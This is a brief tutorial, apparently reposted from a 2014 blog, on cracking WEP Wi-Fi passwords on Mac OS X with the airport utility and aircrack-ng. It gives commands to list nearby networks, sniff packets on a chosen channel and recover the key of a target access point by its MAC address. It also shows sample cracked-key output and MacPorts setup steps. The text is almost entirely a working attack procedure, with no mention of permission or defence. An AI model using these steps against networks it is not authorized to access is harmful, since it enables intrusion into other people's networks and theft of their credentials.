• Crack WEP Wi-FI via aircrack-ng in Mac OS X

    Display all network interfaces


    Display nearby networks with additional parameters

    airport -s

    Sniff packets on a network interface and a channel, save it to /tmp/airport*.cap

    sudo airport {networkInterface} sniff {channel}
    e.g. sudo airport en0 sniff 6

    Find the password (1 attempt)

    aircrack-ng -1 -a 1 -b {bsid} {filepath}
    e.g. aircrack-ng -1 -a 1 -b 00:02:72:UV:WX:YZ /tmp/airportSniffVO0t4J.cap

    Founded passwords:

    AP-HOME 00:02:72:UV:WX:YZ -78  13      N  -- WEP
    [ 01:23:45:67:89 ] (ASCII: PASSWORD )   [02:05:34] Tested 199 keys (got 15014 IVs)


    1. Install Macports.
    2. Install aircrack-ng:
      sudo port install aircrack-ng
    3. Install the latest Xcode, with the Command Line Tools.
    4. Create the following symlink:
      sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport
    5. Figure out which channel you need to sniff:
      sudo airport -s
      sudo airport en1 sniff [CHANNEL]
    6. New Terminal Window
      aircrack-ng -1 -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE]
      //Notes: the cap_file will be located in the /tmp/airportSniff*.cap

    Ref: Jason4Zhu: Way To Crack WEP Wifi Via Aircrack-ng In Mac OSX - http://jason4zhu.blogspot.cz/2014/12/crack-wep-wifi-via-aircrack-ng-in-mac-osx.html